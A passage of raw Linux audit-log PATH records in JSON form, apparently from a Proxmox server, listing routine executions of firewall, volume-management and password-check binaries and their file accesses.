cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=PATH msg=audit(1781964675.205:62094): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675205,"@rawstring":"node=pve type=PATH msg=audit(1781964675.205:62093): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675201,"@rawstring":"node=pve type=PATH msg=audit(1781964675.201:62092): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675201,"@rawstring":"node=pve type=PATH msg=audit(1781964675.201:62092): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675201,"@rawstring":"node=pve type=PATH msg=audit(1781964675.201:62092): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675196,"@rawstring":"node=pve type=PATH msg=audit(1781964675.196:62091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675196,"@rawstring":"node=pve type=PATH msg=audit(1781964675.196:62091): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675189,"@rawstring":"node=pve type=PATH msg=audit(1781964675.189:62090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675189,"@rawstring":"node=pve type=PATH msg=audit(1781964675.189:62090): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675184,"@rawstring":"node=pve type=PATH msg=audit(1781964675.184:62089): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675184,"@rawstring":"node=pve type=PATH msg=audit(1781964675.184:62089): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675177,"@rawstring":"node=pve type=PATH msg=audit(1781964675.177:62088): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675177,"@rawstring":"node=pve type=PATH msg=audit(1781964675.177:62088): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675170,"@rawstring":"node=pve type=PATH msg=audit(1781964675.170:62087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964675170,"@rawstring":"node=pve type=PATH msg=audit(1781964675.170:62087): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964674672,"@rawstring":"node=pve type=PATH msg=audit(1781964674.672:62086): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964674672,"@rawstring":"node=pve type=PATH msg=audit(1781964674.672:62086): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964674648,"@rawstring":"node=pve type=PATH msg=audit(1781964674.648:62085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964674648,"@rawstring":"node=pve type=PATH msg=audit(1781964674.648:62085): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671683,"@rawstring":"node=pve type=PATH msg=audit(1781964671.683:62083): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671680,"@rawstring":"node=pve type=PATH msg=audit(1781964671.680:62082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671680,"@rawstring":"node=pve type=PATH msg=audit(1781964671.680:62082): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671643,"@rawstring":"node=pve type=PATH msg=audit(1781964671.643:62081): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671639,"@rawstring":"node=pve type=PATH msg=audit(1781964671.639:62080): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964671639,"@rawstring":"node=pve type=PATH msg=audit(1781964671.639:62080): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PATH msg=audit(1781964670.233:62079): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PATH msg=audit(1781964670.233:62079): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PATH msg=audit(1781964670.233:62078): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670233,"@rawstring":"node=pve type=PATH msg=audit(1781964670.233:62077): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PATH msg=audit(1781964670.222:62076): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PATH msg=audit(1781964670.222:62076): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PATH msg=audit(1781964670.222:62075): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964670222,"@rawstring":"node=pve type=PATH msg=audit(1781964670.222:62074): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667876,"@rawstring":"node=pve type=PATH msg=audit(1781964667.876:62072): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667874,"@rawstring":"node=pve type=PATH msg=audit(1781964667.874:62071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667874,"@rawstring":"node=pve type=PATH msg=audit(1781964667.874:62071): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667836,"@rawstring":"node=pve type=PATH msg=audit(1781964667.836:62070): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667833,"@rawstring":"node=pve type=PATH msg=audit(1781964667.833:62069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964667833,"@rawstring":"node=pve type=PATH msg=audit(1781964667.833:62069): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PATH msg=audit(1781964665.214:62068): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PATH msg=audit(1781964665.214:62068): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PATH msg=audit(1781964665.214:62067): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665214,"@rawstring":"node=pve type=PATH msg=audit(1781964665.214:62066): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665207,"@rawstring":"node=pve type=PATH msg=audit(1781964665.207:62065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665207,"@rawstring":"node=pve type=PATH msg=audit(1781964665.207:62065): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665207,"@rawstring":"node=pve type=PATH msg=audit(1781964665.207:62064): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665206,"@rawstring":"node=pve type=PATH msg=audit(1781964665.206:62063): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665159,"@rawstring":"node=pve type=PATH msg=audit(1781964665.159:62062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665159,"@rawstring":"node=pve type=PATH msg=audit(1781964665.159:62062): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665155,"@rawstring":"node=pve type=PATH msg=audit(1781964665.155:62061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665155,"@rawstring":"node=pve type=PATH msg=audit(1781964665.155:62061): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=PATH msg=audit(1781964665.154:62060): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=PATH msg=audit(1781964665.154:62060): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=PATH msg=audit(1781964665.154:62059): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665149,"@rawstring":"node=pve type=PATH msg=audit(1781964665.149:62058): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665149,"@rawstring":"node=pve type=PATH msg=audit(1781964665.149:62058): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665149,"@rawstring":"node=pve type=PATH msg=audit(1781964665.149:62058): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665143,"@rawstring":"node=pve type=PATH msg=audit(1781964665.143:62057): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665143,"@rawstring":"node=pve type=PATH msg=audit(1781964665.143:62057): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665137,"@rawstring":"node=pve type=PATH msg=audit(1781964665.137:62056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665137,"@rawstring":"node=pve type=PATH msg=audit(1781964665.137:62056): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665131,"@rawstring":"node=pve type=PATH msg=audit(1781964665.131:62055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665131,"@rawstring":"node=pve type=PATH msg=audit(1781964665.131:62055): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665125,"@rawstring":"node=pve type=PATH msg=audit(1781964665.125:62054): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665125,"@rawstring":"node=pve type=PATH msg=audit(1781964665.125:62054): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665120,"@rawstring":"node=pve type=PATH msg=audit(1781964665.120:62052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665120,"@rawstring":"node=pve type=PATH msg=audit(1781964665.120:62052): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665115,"@rawstring":"node=pve type=PATH msg=audit(1781964665.115:62051): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665115,"@rawstring":"node=pve type=PATH msg=audit(1781964665.115:62051): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665110,"@rawstring":"node=pve type=PATH msg=audit(1781964665.110:62050): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665110,"@rawstring":"node=pve type=PATH msg=audit(1781964665.110:62050): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665105,"@rawstring":"node=pve type=PATH msg=audit(1781964665.105:62049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665105,"@rawstring":"node=pve type=PATH msg=audit(1781964665.105:62049): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665100,"@rawstring":"node=pve type=PATH msg=audit(1781964665.100:62048): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665100,"@rawstring":"node=pve type=PATH msg=audit(1781964665.100:62048): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665095,"@rawstring":"node=pve type=PATH msg=audit(1781964665.095:62047): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665095,"@rawstring":"node=pve type=PATH msg=audit(1781964665.095:62047): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665089,"@rawstring":"node=pve type=PATH msg=audit(1781964665.089:62046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665089,"@rawstring":"node=pve type=PATH msg=audit(1781964665.089:62046): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665083,"@rawstring":"node=pve type=PATH msg=audit(1781964665.083:62045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665083,"@rawstring":"node=pve type=PATH msg=audit(1781964665.083:62045): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665079,"@rawstring":"node=pve type=PATH msg=audit(1781964665.079:62044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665079,"@rawstring":"node=pve type=PATH msg=audit(1781964665.079:62044): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665077,"@rawstring":"node=pve type=PATH msg=audit(1781964665.077:62043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665077,"@rawstring":"node=pve type=PATH msg=audit(1781964665.077:62043): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=PATH msg=audit(1781964665.076:62042): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=PATH msg=audit(1781964665.076:62042): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=PATH msg=audit(1781964665.076:62041): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665071,"@rawstring":"node=pve type=PATH msg=audit(1781964665.071:62040): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665071,"@rawstring":"node=pve type=PATH msg=audit(1781964665.071:62040): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665071,"@rawstring":"node=pve type=PATH msg=audit(1781964665.071:62040): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665065,"@rawstring":"node=pve type=PATH msg=audit(1781964665.065:62039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665065,"@rawstring":"node=pve type=PATH msg=audit(1781964665.065:62039): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665058,"@rawstring":"node=pve type=PATH msg=audit(1781964665.058:62038): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665058,"@rawstring":"node=pve type=PATH msg=audit(1781964665.058:62038): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 